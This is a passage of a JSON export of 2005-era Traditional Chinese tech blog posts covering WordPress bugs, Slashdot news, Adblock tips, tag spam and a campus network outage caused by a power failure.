[
  {
    "id": "2",
    "body": "這個 Blog 主要是偏技術方面的資訊 (以及各種雜七雜八的抱怨文章)，另外有幾個 Blog 是其他方面的：\r\n\r\n<ul>\r\n\t<li><a href=\"http://blog.gslin.info/\" rel=\"tag\">blog.gslin.info</a>：<del datetime=\"2007-07-14T09:49:18+00:00\">跟課業有關的 (包括實驗室研究的東西)。</del>改放 ACG 相關的資訊。</li>\r\n\t<li><a href=\"http://blog.gslin.net/\" rel=\"tag\">blog.gslin.net</a>：跟網路有關的。</li>\r\n</ul>\r\n\r\n除了 Blog 以外，你可以在這些地方找到我：\r\n\r\n<ul>\r\n\t<li><a href=\"https://abpe.org/@gslin\">Mastodon</a></li>\r\n\t<li><a href=\"https://twitter.com/gslin\">Twitter</a></li>\r\n\t<li><a href=\"https://www.facebook.com/gslin\">Facebook</a></li>\r\n\t<li><a href=\"https://www.plurk.com/gslin\">Plurk</a></li>\r\n\t<li><a href=\"https://www.instagram.com/gslin\">Instagram</a></li>\r\n\t<li><a href=\"https://www.flickr.com/photos/gslin\">Flickr</a></li>\r\n\t<li><a href=\"https://www.linkedin.com/in/gslin/\">Linkedin</a></li>\r\n</ul>\r\n\r\n關於我的連絡的方法：gslin at gslin.com (主要)、darkkiller at gmail.com (也是主要)、gslin at gslin.org (備用)。",
    "title": "關於我 (about me)"
  },
  {
    "id": "3",
    "body": "因為鳥蛋 UTF-8 的原因，所以從零開始。\r\n\r\n主要的原因是這樣子：我在 <a href=\"http://www.phpmyadmin.net/\" rel=\"tag\">phpMyAdmin</a> 裡面發現 <a href=\"http://gslin.org/\" rel=\"tag\">gslin.org</a> 用的資料庫居然是 latin1-based，於是很手賤的把 latin1-based 改成 UTF8-based，然後就...\r\n\r\n在修改前我有用 <code>mysqldump</code> 備份，但是我忘記加上 <code>--default-character-set=latin1</code>，而預設的 charset 是 utf8，然後就... 雖然有備份，但是在不斷嘗試 restore 失敗後放棄，也許想到方法的時候會把 <a href=\"http://gslin.org/\" rel=\"tag\">gslin.org</a> 恢復，不過我打算先在這邊弄新的再說。(本來就有打算要換，只是沒想到是這種方法...)\r\n\r\n<code>mysqldump</code> 的檔案在這：<a href=\"/a.zip\" rel=\"tag\">a.zip</a>，如果你解開後可以用 phpMyAdmin 正確看到所有中文的話就麻煩了 :P",
    "title": "從零開始"
  },
  {
    "id": "4",
    "body": "在「<a href=\"http://blog.yam.com/sunjoe/archives/359732.html\" rel=\"tag\">俗話說得好：一分錢一分貨啊...</a>」這篇看到的新聞。<a href=\"http://hlb.yichi.org/\" rel=\"tag\">hlb 大長輩</a> (用力 Google Bomb) 把 url 丟出來第一句就是：\r\n<blockquote>00:51 &lt;@hlb&gt; http://blog.yam.com/sunjoe/archives/359732.html\r\n00:51 &lt;@hlb&gt; 這是怎樣, 大家來比騙術就是了.</blockquote>\r\n與我心有戚戚焉 XD (*狂笑*)\r\n\r\n另外「<a href=\"http://blog.xuite.net/seamxr.home/newless/3714687\">blog行銷與葉教授的關係</a>」這篇也很棒啊 XD",
    "title": "Blog 行銷？"
  },
  {
    "id": "5",
    "body": "雖然 Blog 被我升到爛掉很衰，不過昨天還是有些好事情就是了。\r\n\r\nADSL 超距升速到 8M/640K 終於過了，速度也還蠻快的，下載速度可以到 570KB/sec 左右 (<a href=\"http://www.seed.net.tw/\" rel=\"tag\">SEEDNet</a> 的 DHCP mode)。",
    "title": "ADSL 升速"
  },
  {
    "id": "6",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的 Open Source Program Manager <a href=\"http://www.dibona.com/\" rel=\"tag\">Chris Dibona</a> 在 LinuxWorld Conference 提到了為什麼他們會用 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a>：<a href=\"http://it.slashdot.org/article.pl?sid=05/08/11/009225\">Google Gives Reason Why it is Built on Linux</a>。\r\n\r\n不過真正有趣的在 comments :) 因為 <a href=\"http://www.dibona.com/\" rel=\"tag\">Chris Dibona</a> 本人親自在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上面回應了相關的問題 :p",
    "title": "Google 使用 Linux 的主因"
  },
  {
    "id": "7",
    "body": "這是個老新聞了 (因為前幾天就有很多人講過了)，不過目前只有 <a href=\"http://news.google.com/news?ned=us\" rel=\"tag\">北美版 Google News</a> 才有：<a href=\"http://slashdot.org/article.pl?sid=05/08/10/0128248\">Google News Now Providing RSS and Atom Feeds</a>。",
    "title": "Google News 提供 RSS &amp; Atom"
  },
  {
    "id": "8",
    "body": "<a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 的報導：<a href=\"http://www.engadget.com/entry/1234000633053888/\">Caption Contest: cellphones are big in Japan tonight</a>，這邊有照片：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33120750/\"><img src=\"http://photos22.flickr.com/33120750_c9c5cce35d.jpg?v=0\" alt=\"\" /></a>\r\n\r\n不過後面怎麼看都像是 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">種花奠信</a> 的 logo 啊？而且原網頁也的確是拍台北的展覽不是嗎？@_@",
    "title": "日本？"
  },
  {
    "id": "9",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇 <a href=\"http://slashdot.org/article.pl?sid=05/08/10/2136214\">BitTorrent for Content Providers</a> 提到了 <a href=\"http://www.ibiblio.org/\" rel=\"tag\">ibiblio</a> 將提供各種軟體及影片，以 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 的方式下載：<a href=\"http://torrent.ibiblio.org/\" rel=\"tag\">ibiblio torrent</a>、<a href=\"http://osprey.ibiblio.org/\">Osprey：Peer-to-peer enabled content distribution</a>。\r\n\r\n於是 <a href=\"http://www.ibiblio.org/\" rel=\"tag\">ibiblio</a> 可以提供穩定的 Seed 來源，而又可以利用 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 高速下載，但又可以節省 <a href=\"http://www.ibiblio.org/\" rel=\"tag\">ibiblio</a> 的頻寬 :)",
    "title": "ibiblio 提供 Bittorrent Download 服務"
  },
  {
    "id": "10",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 與 <a href=\"http://www.toshiba.com/\" rel=\"tag\">Toshiba</a> 想要在新規格的光碟機上做版權控制 (事實上是 Self-Destruction 的功能)：<a href=\"http://hardware.slashdot.org/article.pl?sid=05/08/10/1917210\">Blu-Ray to Include New Copy Protection</a>。\r\n\r\n至於這個保護能撐多久嘛... 大概是光碟機正式出貨後一個禮拜吧，到時候一定會有「工程版」，或是直接在電路上面拿鉛筆畫一畫之類的解法...",
    "title": "在光碟機上進行版權控制"
  },
  {
    "id": "11",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了 GPLv3 很有可能會再延期：<a href=\"http://developers.slashdot.org/article.pl?sid=05/08/10/221231\">GPL v3 Coming Out in 2007?</a>。\r\n\r\n會有這麼大的問題就是在於 <a href=\"http://www.gnu.org/licenses/gpl.html\">GPLv2</a> 有一段話：\r\n<blockquote>The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\r\n\r\nEach version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and \"any later version\", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.</blockquote>\r\n於是就大爆炸了：如果 GPLv3 有問題的話，那麼會有許多軟體當場鳥掉。\r\n\r\n其實比較好的做法是直接放棄 <a href=\"http://www.gnu.org/licenses/gpl.html\" rel=\"tag\">GPL</a> 這個名字，改用其他的名字來發展新的 License Agreement，不過有很多政治角力在裡面而不可行 :p (因為有很多廠商希望 GPLv3 有更寬鬆的做法，這樣他們就可以惡搞那些沒有指定 \"GPLv2\" 而是 \"GPLv2 or later version\" 的軟體)\r\n\r\n苦啊 :p",
    "title": "GPLv3 可能會再延期"
  },
  {
    "id": "12",
    "body": "<a href=\"http://www.simplebits.com/\" rel=\"tag\">SimpleBits</a> 這篇 <a href=\"http://www.simplebits.com/notebook/2005/08/10/wow.html\">Miss the old SimpleBits design?</a> 指出了 <a href=\"http://www.ninerpaint.com/\">Palm Drawing, Painting, and Animation Software</a> 抄襲他舊的版面。\r\n\r\n嗯，唯一不一樣的地方大概是抄襲站台的 Copyright 這樣寫：\r\n<blockquote>Copyright pending site update, with apologies to one person, you-are-right's to approximately 20 others, thus far, and an \"Up Yours!\" to the rest.</blockquote>\r\n*boom*\r\n\r\nPS：舊的 <a href=\"http://www.simplebits.com/\" rel=\"tag\">SimpleBits</a> 版面可以在 <a href=\"http://web.archive.org/\" rel=\"tag\">Web Archive</a> 找到：<a href=\"http://web.archive.org/web/20041130083429/http://www.simplebits.com/\">SimpleBits</a>。",
    "title": "SimpleBits"
  },
  {
    "id": "13",
    "body": "這是在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看到的情況：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33305988/\"><img src=\"http://photos23.flickr.com/33305988_0ab142237b.jpg?v=0\" alt=\"\" /></a>\r\n\r\n你可以發現 <a href=\"https://www.google.com/adsense/\" rel=\"tag\">Google Adsense</a> on RSS 是爛掉的 -_-\r\n\r\nPS：<a href=\"http://www.yahoo.com.hk/\" rel=\"tag\">Yahoo! Hong Kong</a> 居然去買 <a href=\"https://adwords.google.com/\" rel=\"tag\">Google Adwords</a>？",
    "title": "Google Adsense on RSS"
  },
  {
    "id": "14",
    "body": "在 <a href=\"http://adblock.mozdev.org/\" rel=\"tag\">Adblock</a> 裡面將這兩個字串擋掉後看起來會舒服很多：\r\n<ul>\r\n\t<li>ad.wretch.cc</li>\r\n\t<li>http://pic.wretch.cc/</li>\r\n</ul>\r\n這是原圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33318248/\"><img src=\"http://photos22.flickr.com/33318248_a1af6a7471.jpg?v=0\" alt=\"\" /></a>\r\n\r\n這是擋掉 ad.wretch.cc 與 http://pic.wretch.cc/ 後：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33318249/\"><img src=\"http://photos22.flickr.com/33318249_8f15f5fc4b.jpg?v=0\" alt=\"\" /></a>\r\n\r\n好很多，對吧？:p",
    "title": "善用 Adblock"
  },
  {
    "id": "15",
    "body": "<a href=\"http://slashdotcn.org/\" rel=\"tag\">Slashdotcn</a> 的「<a href=\"http://slashdotcn.org/article.php/20050812093403732\">亚马逊用4000万美元解决专利纠纷</a>」這篇文章提到了 <a href=\"http://www.ffii.org/\" rel=\"tag\">FFII</a> (Foundation for a Free Information Infrastructure) 架設的一個網站，這個網站說明了歐盟專利的浮濫 - 一個網路購物平台會觸犯的專利 (而且是已經被核准的) 居然有二十個：<a href=\"http://webshop.ffii.org/\">Patented European webshop</a>。",
    "title": "歐盟專利問題"
  },
  {
    "id": "16",
    "body": "<a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a> 上提到了 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> Prints 的可行性：<a href=\"http://forevergeek.com/news/flickr_prints_coming_soon.php\">Flickr Prints Coming Soon</a>。\r\n\r\n配合 <a href=\"http://www.creativecommons.org/\" rel=\"tag\">Creative Commons</a> 標示授權看起來是相當讚的作法 :p",
    "title": "Flickr Prints"
  },
  {
    "id": "17",
    "body": "在 <a href=\"http://none.nignone.net/\" rel=\"tag\">None</a> 那邊看到<a href=\"http://none.nignone.net/2005/08/13/160/\">星界の戦旗 III 的消息</a> (不含內容)，剛好我前幾天問 <a href=\"http://slzzp.info/\" rel=\"tag\">slzzp 大長輩</a> 另外一本小說 (呃，臨時忘記名字了... <a href=\"http://slzzp.info/\" rel=\"tag\">睡長輩</a> 提醒一下？:Q) 會不會像永野大神的五星一樣 blah blah... XD (不過我後來忘記 <a href=\"http://slzzp.info/\" rel=\"tag\">slzzp 大長輩</a> 說什麼了 Q_Q)\r\n\r\nAnyway... 戰旗相當棒的啊，到時候一定要去看的 :p",
    "title": "星界の戦旗 III"
  },
  {
    "id": "18",
    "body": "由於 <a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake 學長</a> 最近在研究 <a href=\"http://vanillamist.com/blog/?page_id=64\" rel=\"tag\">Connections</a> 這個 theme 要怎麼加上 archive.php，參考別的 theme 加了老半天發現一堆問題...\r\n\r\n於是我就幫他看了一下 <a href=\"http://vanillamist.com/blog/?page_id=64\" rel=\"tag\">Connections</a> 的 code，發現這傢伙超惡搞，同樣的 code 居然重複出現在每個檔案裡，然後就出現這樣很糟的對話：\r\n<blockquote>23:21 &lt;@Blake&gt; 剛剛和DK長輩的對話...\r\n23:21 &lt;@Blake&gt; 長輩「這個作者在亂搞啊。」\r\n23:21 &lt;@Blake&gt; 「長輩不要衝動啊，作者只是一個大姊姊啊。」\r\n23:21 &lt;@Blake&gt; 「這樣，好吧那我們就原諒她。」\r\n23:22 &lt;@Blake&gt; 「blog上面有她的照片啊，33歲的大姊姊啊。」\r\n23:22 &lt;@Blake&gt; 「阿幹，那過期了。」\r\n23:22 &lt;@Blake&gt; 「長輩不要這樣說啊。」\r\n23:22 &lt;@Blake&gt; 「我只是學slzzp的說法。」</blockquote>\r\n<a href=\"http://slzzp.info/\" rel=\"tag\">肥睡睡長輩</a>，都是你教壞的啦！",
    "title": "不要惡搞啊 :~"
  },
  {
    "id": "19",
    "body": "其實 WordPress 1.6 (從 1.6-ALPHA-do-not-use 到 1.6-ALPHA2-still-dont-use) 並不會太恐怖，只是沒事會看到 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 亂 commit 一堆奇怪的 bug code 進去就是了，像是：突然冒出來的 '<code>-</code>' (<a href=\"http://trac.wordpress.org/changeset/2764\">Changeset 2764</a>)，或是 Javascript comment 所造成的 bug (<a href=\"http://trac.wordpress.org/changeset/2766\">Changeset 2766</a>，看不出來 bug 在哪裡？加了 \"<code>//</code>\" 以後那行 <code>if</code> 就會往下找 <code>tinyMCE.addEvent</code> 那行，然後就爛掉了)，不過這些都還好...\r\n\r\n真正讓我暈倒的是 Backspace 不能用了：當 post 文章在移動方向鍵時，不小心按到 x31 的 Backword 時 <a href=\"http://www.mozila.org/products/firefox/\" rel=\"tag\">Firefox</a> 就會回到上一頁。在 1.5 的時候你只要按下一頁資料就都回來了，但 1.6 的時候就...\r\n\r\n有些東西是有心情的時候才會寫的啊 :~ (我都快寫完 <a href=\"http://www.bogofilter.org/\" rel=\"tag\">bogofilter</a> 的說明了，結果剛剛按到 Alt-Left 又...)",
    "title": "WordPress 1.6"
  },
  {
    "id": "20",
    "body": "在抱怨過 post 到一半，不小心按到上一頁文章就會不見的問題後，<a href=\"http://blog.ychsiao.org/\" rel=\"tag\">ychsiao</a> 留言說 <a href=\"http://twilightuniverse.com/2005/04/twilight-autosave/\" rel=\"tag\">Autosave</a> 不錯，測了一下好像真的不錯：用 Cookie 存文章內容，在 Save/Publish 的時候就會移除 :p\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33627300/\"><img src=\"http://photos23.flickr.com/33627300_c2971b1516.jpg?v=0\" alt=\"\" /></a>\r\n\r\n你可以看到 <a href=\"http://twilightuniverse.com/2005/04/twilight-autosave/\" rel=\"tag\">Autosave</a> 跳出來告訴你上次輸入的文章沒有存起來，要不要恢復上次的文章內容 :p",
    "title": "Autosave"
  },
  {
    "id": "21",
    "body": "現在位置上還空空的... (該拿些東西來放了)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33378019/\"><img src=\"http://photos22.flickr.com/33378019_434e09e441.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33378019/\"><img src=\"http://photos23.flickr.com/33378057_e74068cbf8.jpg?v=0\" alt=\"\" /></a>",
    "title": "兩張我現在的位置"
  },
  {
    "id": "22",
    "body": "在 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 看到利用 Subpixel 的技術 (<a href=\"http://www.microsoft.com/typography/ClearTypeInfo.mspx\" rel=\"tag\">Cleartype</a> 算是 Subpixel 裡面比較有名的技術) 彌補 LCD 的壞點：<a href=\"http://www.engadget.com/entry/1234000697054208/\" rel=\"tag\">Subpixel trick covers up dead pixels</a>。",
    "title": "用 Subpixel 的技術彌補 LCD 的壞點"
  },
  {
    "id": "23",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的瘋狂新聞，有人成功將 <a href=\"http://www.intel.com/products/processor/pentium4/\" rel=\"tag\">Intel Pentium 4</a> 超頻到 7.1GHz：<a href=\"http://hardware.slashdot.org/article.pl?sid=05/08/13/1422225\">Pentium 4 Overclocked to 7.1GHz, Sets World Record</a>。",
    "title": "瘋狂的超頻：將 Pentium 4 超頻到 7.1GHz"
  },
  {
    "id": "24",
    "body": "其實我之前就有遇到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 1.6 的 permlink 失效的問題，最主要的原因是 <code>.htaccess</code> 的改變：1.5 的時候是 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 自己產生 RewriteRule，但 1.6 則固定變成這樣：\r\n<blockquote><code># BEGIN WordPress\r\n&lt;IfModule mod_rewrite.c&gt;\r\nRewriteEngine On\r\nRewriteBase /\r\nRewriteCond %{REQUEST_FILENAME} !-f\r\nRewriteCond %{REQUEST_FILENAME} !-d\r\nRewriteRule . /index.php\r\n&lt;/IfModule&gt;\r\n# END WordPress</code></blockquote>\r\n這段 code 在 mod_php4 模式下是正常的，但 <a href=\"http://www.dreamhost.com/r.cgi?cwyeh\" rel=\"tag\">DreamHost</a> 預設是用 CGI mode 執行 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>，於是就爆炸了。\r\n\r\n今天在回台北前看到 <a href=\"http://lists.automattic.com/mailman/listinfo/wp-testers\" rel=\"tag\">wp-testers</a> 有人問到這個問題，也確定在 CGI mode 下有問題，應該有機會修正吧 :p\r\n\r\nPS：關於這個問題的後續，如果不想訂閱 <a href=\"http://lists.automattic.com/mailman/listinfo/wp-testers\" rel=\"tag\">wp-testers</a>，可以參考 mailing list archive 上 <a href=\"http://comox.textdrive.com/pipermail/wp-testers/2005-August/thread.html#390\">[wp-testers] permalinks broken ?</a> 這個 thread。",
    "title": "WordPress 1.6 的 permlink 問題"
  },
  {
    "id": "25",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的消息指出 <a href=\"http://en.wikipedia.org/wiki/John_Carmack\" rel=\"tag\">John Carmack</a> 在 <a href=\"http://www.quakecon.org/\" rel=\"tag\">QuakeCon</a> 上宣布不久後將釋出 Quake 3 的原始程式碼：<a href=\"http://games.slashdot.org/article.pl?sid=05/08/13/0350222\">Quake 3 Source Code to be Released</a>。\r\n\r\n我本來以為 <a href=\"http://en.wikipedia.org/wiki/John_Carmack\" rel=\"tag\">John Carmack</a> 是偷幹 Source Code 後要惡搞 <a href=\"http://www.idsoftware.com/\" rel=\"tag\">id Software</a>，用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 與 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 查了一下這個人，才發現我嚴重誤會了整件事情 :p\r\n\r\n依照 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的資料，<a href=\"http://en.wikipedia.org/wiki/John_Carmack\" rel=\"tag\">John Carmack</a> 是 <a href=\"http://www.idsoftware.com/\" rel=\"tag\">id Software</a> 的創辦人，而且對於 3D Computer Graphics 有相當顯著的貢獻。那為什麼他會放出 Quake 3 的原始程式碼呢：因為這是 <a href=\"http://www.idsoftware.com/\" rel=\"tag\">id Software</a> 在發生 <a href=\"http://en.wikipedia.org/wiki/Linux_Quake_Port\" rel=\"tag\">Linux Quake port</a> 事件後所形成的 Open Source 文化。\r\n\r\n在 <a href=\"http://en.wikipedia.org/wiki/Linux_Quake_port\" rel=\"tag\">Linux Quake port</a> 事件中，<a href=\"http://www.idsoftware.com/\" rel=\"tag\">id Software</a> 的前雇員 <a href=\"http://en.wikipedia.org/wiki/Dave_D._Taylor\" rel=\"tag\">Dave D. Taylor</a> (當時是還是員工) 用他閒暇時間將 <a href=\"http://www.idsoftware.com/games/quake/quake/\" rel=\"tag\">Quake</a> 移植到 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上，不過當時主要只是說明 <a href=\"http://www.idsoftware.com/games/quake/quake/\" rel=\"tag\">Quake</a> 可以在 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上跑，並不是很完整的 porting 整個系統。\r\n\r\n後來 <a href=\"http://en.wikipedia.org/wiki/Dave_D._Taylor\" rel=\"tag\">Dave D. Taylor</a> 出去開了一家公司 (<a href=\"http://en.wikipedia.org/wiki/Crack_dot_Com\" rel=\"tag\">Crack dot Com</a>)，推出了 <a href=\"http://en.wikipedia.org/wiki/Abuse_%28computer_game%29\" rel=\"tag\">Abuse</a> 這套遊戲，並在推出這套遊戲後用 Quake Engine 發展一個新的計畫 (After releasing Abuse, Dave Taylor's game development company Crack dot Com licensed the Quake engine for a new project, <a href=\"http://en.wikipedia.org/wiki/Golgotha_%28computer_game%29\" rel=\"tag\">Golgotha</a>.)，不過 Crackers 把他們的 server 搞定後取得了 <a href=\"http://www.idsoftware.com/games/quake/quake/\" rel=\"tag\">Quake</a> 的 source code，並開始流傳。\r\n\r\nGreg Alexander 在看到以後決定完整的 porting 到 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上，在二十四小時內完成後，Greg Alexander 將 patch 送回給 <a href=\"http://en.wikipedia.org/wiki/John_Carmack\" rel=\"tag\">John Carmack</a>！而最後這段 code 成為 <a href=\"http://www.idsoftware.com/\" rel=\"tag\">id Software</a> 將 <a href=\"http://www.idsoftware.com/games/quake/quake/\" rel=\"tag\">Quake</a> Linux version 的基礎，而 <a href=\"http://www.idsoftware.com/\" rel=\"tag\">id Software</a> 也在 1999 年十二月正式公開 <a href=\"http://www.idsoftware.com/games/quake/quake/\" rel=\"tag\">Quake</a> 的 source code。\r\n\r\nPS：上面這段說明是參考 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 所提供的資料寫的，有可能有錯，如果有的話麻煩告知 :p",
    "title": "Quake 3 將釋出原始程式碼"
  },
  {
    "id": "26",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 將與 <a href=\"http://www.apple.com/itunes/\" rel=\"tag\">iTunes</a> 合作的謠言：<a href=\"http://apple.slashdot.org/article.pl?sid=05/08/13/191257\">Google to Include iTunes?</a>，所以現在就是等待幾個禮拜看看這個消息是不是真的？:p",
    "title": "Google 與 iTunes 合作？"
  },
  {
    "id": "27",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到有人在惡搞 XD (<a href=\"http://hardware.slashdot.org/article.pl?sid=05/08/13/2257212\" rel=\"tag\">Typewriter As Keyboard Mod</a>)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/33874006/\"><img src=\"http://photos21.flickr.com/33874006_e6b6eadd31.jpg?v=0\" alt=\"\" /></a>\r\n\r\nPS：如果看不到原網站的圖片，可以用 <a href=\"http://www.coralcdn.org/\" rel=\"tag\">CoralCDN</a> (在網址上面加上<code>.nyud.net:8090/</code>) 試看看。",
    "title": "打字機鍵盤 (鍵盤打字機？)"
  },
  {
    "id": "28",
    "body": "當初利用 <a href=\"http://del.icio.us/tag/ouiouioui/\" rel=\"tag\">ouiouioui</a> 成立「<a href=\"http://www.oui-blog.com/archives/2005/03/ae_cc.php\">[企畫] 共筆書籤</a>」的時候 quawn 就有在思考 Spam 的問題：\r\n<blockquote>可能會有很大一部份的朋友對於這個想法會存疑，我了解，因為就連我也掙扎了很久。<strong>如果有人惡搞？如果有人狂打自家網站的廣告？如果ouiouioui的標籤被SPAM盯上？</strong>這些考慮都曾經阻礙了我心中想法的實踐進度，不過，小弟覺得儘管這個計劃有一天失敗了、或是事實證明根本不可行，那至少我們試圖證明過，就像大多數的科學實驗一樣，尤其，特別在這個實驗並沒有明顯的成本時。</blockquote>\r\n當時擔心的事情，很不幸的，發生了。\r\n\r\n可以看到 <a href=\"http://pjhuang.net/\" rel=\"tag\">某個人</a> 幾乎自己每寫一篇文章就 submit 到 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 的 <a href=\"http://del.icio.us/tag/ouiouioui\" rel=\"tag\">ouiouioui</a>：<a href=\"http://del.icio.us/pojenhuang/ouiouioui\">http://del.icio.us/pojenhuang/ouiouioui</a>。\r\n\r\n除了 <a href=\"http://del.icio.us/tag/ouiouioui\" rel=\"tag\">ouiouioui</a> 被 spam 外，<a href=\"http://del.icio.us/tag/hkblogger\">hkblogger</a> 也被 spam：<a href=\"http://del.icio.us/pojenhuang/ouiouioui\">http://del.icio.us/pojenhuang/hkblogger</a>。\r\n\r\n說實話，我覺得這位先生寫的文章跟第四台賣藥的節目差不多 - 自吹自擂，努力推銷。\r\n\r\nUpdate：我寫完這篇以後才發現 <a href=\"http://swalk.blogspot.com/\" rel=\"tag\">豬小草</a> 早在六月的時候就已經在「<a href=\"http://www.oui-blog.com/archives/2005/03/ae_cc.php\">[企劃] 共筆書籤</a>」這篇 comment 的地方幹剿過了：\r\n<blockquote>那個「上班族投資理財」每次都利用共筆書籤幫自己的文章打廣告，這樣不太好吧。如果你真的寫的好，自然有人會摘阿，何必要自己在那邊強力推薦呢？</blockquote>",
    "title": "OuiOuiOui 的 tag spam"
  },
  {
    "id": "29",
    "body": "剛剛發現交大對外整個斷掉 (很少遇到斷得這麼徹底的情況)，透過教育部連，發現交大的 TANet6509 沒有回應，而透過 <a href=\"http://www.seed.net.tw/\" rel=\"tag\">SEEDNet</a> 連則發現 HCIX7609 沒有回應。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/34021378/\"><img src=\"http://photos22.flickr.com/34021378_01361fec91.jpg?v=0\" alt=\"\" /></a>\r\n\r\n差不多是五點的時候斷掉的，看起來很有可能是計中大跳電？(因為 TANet6509 與 HCIX7609 同時故障的可能性實在不高) 看起來要等白天上班才有人處理了...",
    "title": "交大對外斷線"
  },
  {
    "id": "30",
    "body": "在 <a href=\"http://blog.serv.idv.tw/\" rel=\"tag\">終極邊疆BLOG</a> 看到 <a href=\"http://blog.serv.idv.tw/2005/08/15/302/\">WordPress 1.5.2 announced</a> 這篇，回官方網站去找看看寫什麼：<a href=\"http://wordpress.org/development/2005/08/one-five-two/\">WordPress 1.5.2</a>。\r\n\r\n這次升級其實就有人幹剿應該出 1.5.1.4 而非 1.5.2 (參考 <a href=\"http://lists.automattic.com/mailman/listinfo/wp-hackers\" rel=\"tag\">wp-hackers</a> 上的 <a href=\"http://comox.textdrive.com/pipermail/wp-hackers/2005-August/thread.html#2255\">[wp-hackers] WP 1.5.1.4 bugfix agenda</a> 以及 <a href=\"http://comox.textdrive.com/pipermail/wp-hackers/2005-August/thread.html#2298\">[wp-hackers] 1.5.2</a> 這兩個 thread)，不過後來還是推出 1.5.2 了...",
    "title": "WordPress 1.5.2"
  },
  {
    "id": "31",
    "body": "先說竹苗區網從網路上消失的事情... 計中內有兩大組電源，一組是直接接市電，另外一組分成四個小組，各接一台 Online UPS (所以有四台)，而這四台都有接市電與發電機電源。\r\n\r\n只接市電的部分包括了電燈、計中的緊急照明燈之類的部分，而 UPS + 發電機的部分則是給門禁系統、Server 這類不應該斷電就消失的設備。\r\n\r\n每個暑假通常都會有高壓電檢修以及其他維護，公告時間通常都是從早上九點到下午五點，不過通常不會真的到下午五點，快的時候中午或下午一兩點就會恢復供電。一棟建築物通常會有兩次停電：一次是各建築物本身的電力維護，另外一次是北校區或是南校區的高壓電維護。\r\n\r\n今年計中所在的資訊館當然也有兩次，上星期六的停電是第二次 (北區高壓電維護)，早上停電後發電機很正常的啟動，到下午三點的時候市電來了，但計中配電盤似乎沒有自動切回去，於是發電機連續運轉四十幾個小時後在星期一早上五點將油吃完了... 然後就大爆炸了 =_=\r\n\r\n事實上只要多撐四個小時就不會有事：因為星期一有上班，八點上班一發現市電的部分還沒來就會馬上請廠商到場處理，通常這種事情一個小時內就會處理完 (先人工切回市電，有 Online UPS 擋)，不過就是少了四個小時 :p\r\n\r\nAnyway，爆炸後可以看出來在下午一點半後才恢復供電 (router 只要一有電就會馬上起來，所以看教育部的 MRTG 就夠了)，然後整個下午學弟都在整理機房裡面的機器。\r\n\r\n到剛剛清點了一下有不少機器發生問題，看來要好好整頓一下了... *boom*",
    "title": "機房停電"
  },
  {
    "id": "32",
    "body": "在 <a href=\"http://www.downloadsquad.com/\" rel=\"tag\">Download Squad</a> 看到 IE7 將正式命名為 Windows Internet Explorer 7 的消息：<a href=\"http://www.downloadsquad.com/2005/08/14/internet-explorer-7-gets-new-name-new-logo/\">Internet Explorer 7 gets new name, new logo</a>，在 <a href=\"http://blogs.msdn.com/ie/\" rel=\"tag\">IEBlog</a> 上的 <a href=\"http://blogs.msdn.com/ie/archive/2005/08/12/451099.aspx\">New IE 7 Icon and Logo</a> 也正式發表了新的 Icon 與 Logo。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/34226123/\"><img src=\"http://photos23.flickr.com/34226123_26a5f385cd.jpg?v=0\" alt=\"\" /></a>",
    "title": "IE7 正式名稱：Windows Internet Explorer 7"
  },
  {
    "id": "33",
